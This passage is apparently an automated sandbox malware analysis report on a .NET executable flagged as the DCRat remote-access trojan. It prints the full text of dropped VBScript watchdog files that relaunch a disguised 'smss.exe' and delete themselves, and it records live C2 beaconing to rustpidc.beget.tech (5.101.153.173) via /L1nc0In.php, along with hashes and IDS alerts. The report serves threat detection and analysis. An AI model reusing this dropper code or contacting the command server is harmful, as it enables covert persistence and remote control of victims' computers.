Preview:	On Error Resume Next....Dim processId..Dim mainFilePath....Set WS = CreateObject("WScript.Shell")..Set FSO = CreateObject("Scripting.FileSystemObject")....processId = "8172"..mainFilePath = "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"....Do While True...Dim isExists...isExists = false.....Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")...sQuery = "SELECT * FROM Win32_Process"...Set objItems = objWMIService.ExecQuery(sQuery).....For Each objItem In objItems....if(Trim(objItem.ProcessId) = Trim(processId)) Then .....isExists = true.....Exit For....End If...Next.....if(isExists = false) Then....WS.Exec(mainFilePath)....FSO.DeleteFile WScript.ScriptFullName....Exit Do...End If....WScript.Sleep 5000..Loop

C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	731
Entropy (8bit):	5.24411301020104
Encrypted:	false
SSDEEP:	12:9vWdTzyMsRfhMA6KYljMpl+sdMouurv3vAGThYsTaHozv/K/ynMaSxqjdxWg9VbT:9AnyHfCATYljk+slpD/AEmHob/uhEjdD
MD5:	1302C42C8414F72AC85377B259FFE231
SHA1:	491550705846D87BBA102ED33AE2C29D899EE948
SHA-256:	ED9C0AC67B4299A3A13308054FE53E6CCBA9882A98257612E4EDDE47B870770B
SHA-512:	40BEDC68541BEA8475A6B4E44CAF6A4A6631B424BCA92C6BBC9D9A1FE30EB1E1C34D2DABD7C30E6DE1C809301B711A2C1B6C56757A00F1288E2A925D77378239
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On Error Resume Next....Dim processId..Dim mainFilePath....Set WS = CreateObject("WScript.Shell")..Set FSO = CreateObject("Scripting.FileSystemObject")....processId = "7948"..mainFilePath = "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"....Do While True...Dim isExists...isExists = false.....Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")...sQuery = "SELECT * FROM Win32_Process"...Set objItems = objWMIService.ExecQuery(sQuery).....For Each objItem In objItems....if(Trim(objItem.ProcessId) = Trim(processId)) Then .....isExists = true.....Exit For....End If...Next.....if(isExists = false) Then....WS.Exec(mainFilePath)....FSO.DeleteFile WScript.ScriptFullName....Exit Do...End If....WScript.Sleep 5000..Loop

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.810687534829714
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXlgFBIaE/alNvpGF446XaNvj:Vx993DEUamKFvj
MD5:	110B9727DADD6C038F3478C3AB2AA6F1
SHA1:	5453BB03B3944D2B504A1D6C86D0FDB8226E8D5B
SHA-256:	F99177163188E3A0DFF47480BABB444A555715BD6C423F49719A15EB47A44400
SHA-512:	5EE7B54F04252C577A9D859CA603EEA27EF23E8C831BDDC466224D1F64D24BB29019E3FE2B6E05630F9CBDDAF97A887369177DD05FECF0A269D09860D435C303
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 26/10/2024 01:20:54..01:20:54, error: 0x80072746.01:20:59, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.1090440760279225
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	2RM12KtuNp.exe
File size:	1'455'616 bytes
MD5:	77fffee187fabb45ffc7219d421ea83f
SHA1:	3f21e5a79d674131678ac5de8eaf30bbfcbb177c
SHA256:	272d4708729e16b629b6ec2c3c04317f6579c2c8f24d171be0d9469dbbce4e26
SHA512:	3c27ed77b4e5c522804b48b94b70071bc07b4227ed3f5018d45160cb192136296f75a84af770caf72c797d2ea7fa36c8d897f2d68199f0fe0123c94781452b1f
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
TLSH:	65656B017E45CA51F4085633C2EB49588BB29C5166E6F3277DBE336E96223933C1E9CB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....rb.....................6........... ... ....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x561a9e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6272A3D7 [Wed May 4 16:03:35 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x161a50	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x166000	0x218	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x168000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x15faa4	0x15fc00	2b7f708966a4b7a8d8ecfaf3e36aad2b	False	0.7083208399964463	data	7.137836698010557	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x162000	0x2fdf	0x3000	648cd857fe5ce04444edd4494d281d6d	False	0.3102213541666667	data	3.243154424497548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x166000	0x218	0x400	dd7691b609daebae626673755bf2c4d6	False	0.26171875	data	1.8390800949553323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x168000	0xc	0x200	10f484c325646db093bf7c8b2dd659b1	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x166058	0x1c0	ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.5223214285714286

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T05:37:26.626554+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49746	5.101.153.173	80	TCP
2024-10-26T05:37:32.706176+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49780	5.101.153.173	80	TCP
2024-10-26T05:37:56.413274+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49899	5.101.153.173	80	TCP
2024-10-26T05:38:23.161307+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49985	5.101.153.173	80	TCP
2024-10-26T05:38:48.297767+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49986	5.101.153.173	80	TCP
2024-10-26T05:39:03.234645+0200	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.5	49987	5.101.153.173	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 05:37:25.691289902 CEST	49746	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:25.696657896 CEST	80	49746	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:25.696767092 CEST	49746	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:25.697808981 CEST	49746	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:25.703138113 CEST	80	49746	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:26.619174004 CEST	80	49746	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:26.626554012 CEST	49746	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:26.631954908 CEST	80	49746	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:26.916620970 CEST	80	49746	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:26.921679974 CEST	49746	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:31.729140043 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:31.734479904 CEST	80	49780	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:31.734911919 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:31.735060930 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:31.740319967 CEST	80	49780	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:32.659738064 CEST	80	49780	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:32.706176043 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:32.846110106 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:32.851408005 CEST	80	49780	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:33.135118961 CEST	80	49780	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:33.137010098 CEST	49780	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:55.472512960 CEST	49899	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:55.477976084 CEST	80	49899	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:55.478044987 CEST	49899	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:55.478347063 CEST	49899	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:55.484026909 CEST	80	49899	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:56.409859896 CEST	80	49899	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:56.413274050 CEST	49899	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:37:56.418761015 CEST	80	49899	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:56.707762957 CEST	80	49899	5.101.153.173	192.168.2.5
Oct 26, 2024 05:37:56.709520102 CEST	49899	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:22.207624912 CEST	49985	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:22.213191032 CEST	80	49985	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:22.213287115 CEST	49985	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:22.213469028 CEST	49985	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:22.218839884 CEST	80	49985	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:23.159758091 CEST	80	49985	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:23.161307096 CEST	49985	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:23.166802883 CEST	80	49985	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:23.456799984 CEST	80	49985	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:23.458504915 CEST	49985	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:47.353750944 CEST	49986	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:47.359333038 CEST	80	49986	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:47.359469891 CEST	49986	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:47.359663010 CEST	49986	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:47.364962101 CEST	80	49986	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:48.296052933 CEST	80	49986	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:48.297766924 CEST	49986	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:38:48.303649902 CEST	80	49986	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:48.589982986 CEST	80	49986	5.101.153.173	192.168.2.5
Oct 26, 2024 05:38:48.592900991 CEST	49986	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:39:02.294549942 CEST	49987	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:39:02.299992085 CEST	80	49987	5.101.153.173	192.168.2.5
Oct 26, 2024 05:39:02.300101995 CEST	49987	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:39:02.300323963 CEST	49987	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:39:02.305681944 CEST	80	49987	5.101.153.173	192.168.2.5
Oct 26, 2024 05:39:03.233011007 CEST	80	49987	5.101.153.173	192.168.2.5
Oct 26, 2024 05:39:03.234644890 CEST	49987	80	192.168.2.5	5.101.153.173
Oct 26, 2024 05:39:03.241204977 CEST	80	49987	5.101.153.173	192.168.2.5
Oct 26, 2024 05:39:03.525713921 CEST	80	49987	5.101.153.173	192.168.2.5
Oct 26, 2024 05:39:03.527623892 CEST	49987	80	192.168.2.5	5.101.153.173

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 05:37:25.568289995 CEST	54652	53	192.168.2.5	1.1.1.1
Oct 26, 2024 05:37:25.682689905 CEST	53	54652	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 05:37:25.568289995 CEST	192.168.2.5	1.1.1.1	0x22f4	Standard query (0)	rustpidc.beget.tech	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 05:37:25.682689905 CEST	1.1.1.1	192.168.2.5	0x22f4	No error (0)	rustpidc.beget.tech		5.101.153.173	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rustpidc.beget.tech

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49746	5.101.153.173	80	7948	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:37:25.697808981 CEST	391	OUT	GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: rustpidc.beget.tech Connection: Keep-Alive
Oct 26, 2024 05:37:26.619174004 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:26 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:37:26.626554012 CEST	367	OUT	GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: rustpidc.beget.tech
Oct 26, 2024 05:37:26.916620970 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:26 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49780	5.101.153.173	80	8172	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:37:31.735060930 CEST	534	OUT	GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1 Accept: / Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: rustpidc.beget.tech Connection: Keep-Alive
Oct 26, 2024 05:37:32.659738064 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:32 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 26, 2024 05:37:32.846110106 CEST	510	OUT	GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1 Accept: / Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: rustpidc.beget.tech
Oct 26, 2024 05:37:33.135118961 CEST	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 26 Oct 2024 03:37:32 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Mon, 22 Jul 2024 13:31:07 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "669e5f1b-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49899	5.101.153.173	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:37:55.478347063 CEST	644	OUT	GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60 Host: rustpidc.beget.tech Connection: Keep-Alive
